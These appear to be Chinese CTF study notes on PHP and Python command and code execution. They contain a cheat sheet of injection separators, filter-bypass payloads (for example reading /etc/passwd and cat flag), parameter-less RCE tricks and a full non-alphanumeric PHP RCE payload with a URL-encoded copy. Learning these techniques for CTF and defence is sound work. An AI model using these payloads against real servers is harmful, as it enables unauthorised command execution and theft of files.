命令执行/代码执行
远程命令执行
命令执行漏洞
应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数可以被用户控制,就可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令
代码执行漏洞
应用程序中提供了一些可以将字符串作为代码执行的函数,比如PHP的eval函数,可以将函数中的参数当作PHP代码来执行,如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行
命令连接符
远程命令执行可以用到的命令连接符windows和linux系统各有4个,其中3个是共有的,各有一个是特有的:
windows:|
|| &&
&
linux: |
||
&&
;
各连接符含义如下:
|
管道操作符
可以把前一个命令的标准输出传输到后一个命令的标准输出
比如 a | b 表示命令a的输出作为命令b的输入
但在远程命令执行中,不管a的执行结果是否正确,b都可以执行,不会有命令a的输出作为命令b的输入一说
||
逻辑或
注意该命令有短路的情况
比如a||b,如果命令a执行成功,则命令b不会被执行;只有命令a执行失败的情况下,才会执行命令b
&&
逻辑与
注意该命令有短路的情况
比如 a && b,如果命令a执行失败,则命令b不会被执行;只有命令a执行成功的情况下,才会执行命令b
&
windows特有
允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行
比如 a & b,不管a是否执行成功,b命令都会执行
;
linux系统特有
允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行
比如 a ; b,不管a是否执行成功,b命令都会执行
重定向输出符号> >>
将原本输出到命令窗口的内容,转存到文件中,如jstack 12912 >d:/s.txt 打印线程到指定文件
cmd > 重定向输出并覆盖源文件。
例如
1 | echo hello >c:\1.txt // 1.txt的文件内容先被清空,然后写入hello。 |
cmd >>重定向输出追加到文件末尾
例如:
1 | echo hello >>c:\1.txt // 在1.txt文件末尾加上hello |
命令执行
刚接触的大部分漏洞都是由于对一些危险函数没有进行过滤
就传递给系统shell,引发命令注入攻击
shell能够接受命令输入的命令,并对命令进行处理
危险函数
PHP
1 | exec echo exec('whoami'); — 执行一个外部程序 |
system
执行 command
参数所指定的命令, 并且输出执行结果。
1 | system ( string $command , int &$return_var = ? ) : string |
command
:要执行的命令。
return_var
:如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
exec
执行 command
参数所指定的命令。
1 | exec ( string $command , array &$output = ? , int &$return_var = ? ) : string |
command
:要执行的命令。
output
:如果提供了 output
参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。
return_var
:如果同时提供 output
和 return_var
参数, 命令执行后的返回状态会被写入到此变量。
passthru
执行 command
参数所指定的命令并且显示原始输出。
1 | passthru ( string $command , int &$return_var = ? ) : void |
command
:要执行的命令。
return_var
:如果提供 return_var
参数, Unix 命令的返回状态会被记录到此参数。
shell_exec
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
1 | shell_exec ( string $cmd ) : string |
cmd:要执行的命令
popen
打开一个指向进程的管道,该进程由给定的comman命令执行而产生。
1 | command:命令 |
这里看一下不同模式打开文件的列表
模式 | 描述 |
---|---|
r | 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。 |
rb | 以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。这是默认模式。一般用于非文本文件如图片等。 |
r+ | 打开一个文件用于读写。文件指针将会放在文件的开头。 |
rb+ | 以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。一般用于非文本文件如图片等。 |
w | 打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。 |
wb | 以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。 |
w+ | 打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。 |
wb+ | 以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。 |
a | 打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。 |
ab | 以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。 |
a+ | 打开一个文件用于读写。如果该文件已存在,文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在,创建新文件用于读写。 |
ab+ | 以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。如果该文件不存在,创建新文件用于读写。 |
popen函数返回的结果是一个object,后面经常要加上.read()
read函数:
read()方法从一个打开的文件中读取一个字符串。需要重点注意的是,Python字符串可以是二进制数据,而不仅仅是文字
fileobject.read([count])(还没遇到过先记下来)
在这里。被传递的参数是要从一打开文件中读取的字节计数。该方法从文件的开头开始读入,如果没有传入count,他会尝试尽可能多的读取更多的内容,很可能直到文件的末尾
例子:
这里我们用到以上创建的 foo.txt 文件。
1 | #!/usr/bin/python |
读取的字符串是 : www.runoob
proc_open
执行一个命令,并且打开用来输入/输出的文件指针。
1 | proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource |
1 | ``cmd:要执行的命令` |
反引号
PHP 支持一个执行运算符:反引号`。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地标准输出)。效果和 shell_exec() 相同。
Python
system
1 | system(command) |
在子 shell 中执行命令(字符串)。在 Unix 上,返回值是进程的退出状态;在 Windows 上,返回值是运行 command 后系统 Shell 返回的值。
popen
1 | popen(cmd, mode='r', buffering=-1) |
打开一个管道,它通往 / 接受自命令 cmd。返回值是连接到管道的文件对象,根据 mode 是 ‘r’ (默认)还是 ‘w’ 决定该对象可以读取还是写入。
subprocess.call/subprocess.run(没见过)
1 | subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs) |
spawn
创建新进程以执行命令
Linux下的常用符号
特殊符号
符号 | 说明 |
---|---|
A;B | 不论A是否正确都执行B |
A&B | A,B同时执行 |
A&&B | A执行成功B才会执行 |
A|B | A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令 |
A||B | A执行失败后才会执行B命令 |
() | 群指令组,用括号将一串连续指令括起来,执行的效果等同于多个独立的命令单独执行的效果。 |
(()) | 用于算数运算’,与 let 指令相似 |
{} | 拼接字符用法,{xx,yy,zz…}{aa,bb,cc…}得到xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc… |
[] | 在流程控制中扮演判断式的作用;在正则表达式中担任类似 “范围” 或 “集合” 的角色。 |
[[]] | 这组符号与先前的[] 符号,基本上作用相同,但她允许在其中直接使用` |
通配符
字符 | 解释 |
---|---|
* | 匹配任意长度 |
? | 匹配单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
{str1,str2,…} | 匹配 srt1 或者 srt2 ,,,,也可以是集合 |
IFS | 由 < space > 或 < tab > 或 < enter > 三者之一组成 |
CR | 由 < enter > 产生 |
! | 执行 history 中的命令, |
常用绕过
命令分隔与执行多条命令
Linux
1 | %0a 表示\r |
windows
1 | %0a |
空格绕过
使用<
或者<>
1 | cat<>flag 这个没成功 |
使用IFS
1 | cat$IFS$9/flag |
URL编码
1 | %09 |
花括号拓展
{0S_COMMAND,argument}
1 | {cat,/etc/passwd} |
变量控制
新知识
1 | X=$'cat\x20/flag'&&$X |
绕过escapeshellcmd
用前面刚学的%1a,可以绕过过滤
1 | id=../ %1a whoami |
宽字节注入
php5.2.5及之前可以通过输入多字节来绕过
1 | escapeshellcmd("echo ".chr(0xc0).";id"); |
之后该语句会变成
1 | echo 繺;id |
使id注入
黑名单绕过
PHP表示字符串的方法
1 | echo "jinmu"; |
结果
拼接
1 | a=c;b=at;c=flag;$a$b $c |
编码
1 | echo "Y2F0IGZsYWc="|base64 -d 表示: cat flag |
单引号 双引号
1 | c""at fl''ag |
反斜线(还能转义)
1 | c\at fl\ag |
通配符
1 | /?in/?s => /bin/ls |
变量拼接利用 .
1 |
chr构造
利用已有文件截取相应字符
定义其他参数
如只对参数c
进行检查过滤,可以构造a
参数进行绕过
1 | ?c=eval($_GET[a]);&a=cat ./flag |
$@
1 | c$@at fl$@ag |
利用已经存在的资源
1 | echo $PATH |
字符数组
1 | # 相当于执行(system)(ls /tmp) |
无参数rce
大致是
利用超全局变量进行bypass,进行RCE
最后进行任意文件读取
print_r(scandir('.'));
查看当前目录下的所有文件名
localeconv()
返回一半包含本地数字及国币格式信息的数数组
current()
返回数组中的当前元素(单元),默认取第一个值,pos是其别名
each()
返回数组小红当前的键/值对并将数组指针向前移动一步
end()
将数组的内部指针指向最后一个单元
next()
将数组中的内部指针向前移动一位
prev()
将数组中的内部指针倒回一位
rand()
随机
array_reverse()
以相反的元素顺序返回数组
打印出当前目录下的文件
1 | print_r(scandir(current(localeconv))); |
打印倒数第二个内容
1 | show_source(next(array_reverse(scandir(getcwd())))); |
getallheaders()------在apache环境下
获取http头的所有头部信息(headers),然后我们可以用var_dump把他打印出来,
最好是在BP中看
那么如果我们自己添加一个xiaobai: phpinfo();
发现被打印出来,那么我们利用eval
和
end()
–取出最后一位
如果我们把var_dump为eval
不知道为什么在这个题目的环境下,直接end(getallheaders());
不行要eval(end(getallheaders()));
换成本地,本地是不是不行。。。
反正是拿到shell了
get_defined_vars()
按照文章的说法它并不是获取的headers
,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE
但是我在本地
所有环境变量都出来了。
1 | ?code=eval(end(get_defined_vars()));&aa=phpinfo(); |
它的返回值是一个二维数组,我们利用GET
方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()
函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:
总结一下,这种方法和第一种方法几乎是一样的,就多了一步,就是利用current()
函数将二维数组转换为一维数组,如果大家还是不了解current()
函数的用法,可以接着往下看文章,会具体介绍的哦
这里还有一个专门针对$_FILES
下手的方法,可以参考这篇文章:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
环境不对劲告辞
session_id()
这种方法简单来说就是把恶意代码写到COOKIE
的PHPSESSID
中,然后利用session_id()
这个函数去读取它,返回一个字符串,然后我们就可以用eval
去直接执行了,这里有一点要注意的就是session_id()
要开启session
才能用,所以说要先session_start()
,这里我们先试着把PHPSESSID
的值取出来:但这里要注意的是,PHPSESSIID
中只能有A-Z a-z 0-9
,-
,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin
对恶意代码进行16进制选这个就行
4.php函数直接读取文件
上面我们一直在想办法在进行rce,但有的情况下确实无法进行rce时,我们就要想办法直接利用php函数完成对目录以及文件的操作, 接下来我们就来介绍这些函数:
1.localeconv
官方解释:localeconv() 函数返回一个包含本地数字及货币格式信息的数组。
这个函数其实之前我一直搞不懂它是干什么的,为什么在这里有用,但实践出真知,我们在测试代码中将localeconv()
的返回结果输出出来,这里很神奇的事就发生了,它返回的是一个二维数组,而它的第一位居然是一个点.
,那按照我们上面讲的,是可以利用current()
函数将这个点取出来的,但这个点有什么用呢?点代表的是当前目录!那就很好理解了,我们可以利用这个点完成遍历目录的操作!相当于就是linux
中的ls
,具体请看下图:
2.scandir
这个函数很好理解,就是列出目录中的文件和目录
3.current(pos)
这里首先声明,pos()
函数是current()
函数的别名,他们俩是完全一样的哈
这个函数我们前面已经用的很多了,它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值,如果要移动可以用下列方法进行移动:
4.chdir()
这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()
会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir
切就好了,如果要向上跳就要构造chdir('..')
5.array_reverse()
将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()
6.highlight_file()
打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的
例题解析——–GXYCTF 2019禁止套娃
这道题首先是一个git源码泄露,我们先用GitHack
把源码跑下来,内容如下:
[](javascript:void(0);)
1 | <?php |
[](javascript:void(0);)
可以看出它是一个有过滤的无参rce,由于它过滤掉了et
,导致我们前两种的方法都用不了,而且它也过滤了hex bin
,第三种方法也不能像我们上面讲的一样先16进制编码了,而且我抓包以后都看不到PHPSESSID
的参数,估计第三种方法也用不了,但有了前面的铺垫,用第四种方法就可以很简单的解决了,首先遍历当前目录:
可以看到flag.php
是倒数第二个,那我们就把它反转一下,然后再用一个next()
就是flag.php
这个文件了
胜利就在眼前,直接highlight_file
读取这个文件就拿到flag了:
思路总结
1 | scandir(current(localeconv()))是查看当前目录 |
无字母数字RCE
1 | $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); |
1 | %24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B |
过滤字母,但是没有过滤数字的情况下,可以使用base64
命令:
1 | /???/????64 ????.??? ==> /bin/base64 flag.php |
利用上传临时文件
利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?进行匹配,即???/???,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
在ascii码表中观察发现
在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/???[@-[],到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件
exp:
1 | import requests |
常见的读取文件方式
1 | highlight_file($filename); |
常用读取目录方式
1 | print_r(glob("*")); // 列当前目录 |
就到这了,看的这篇文章
https://blog.csdn.net/weixin_44576725/article/details/121950120?spm=1001.2014.3001.5506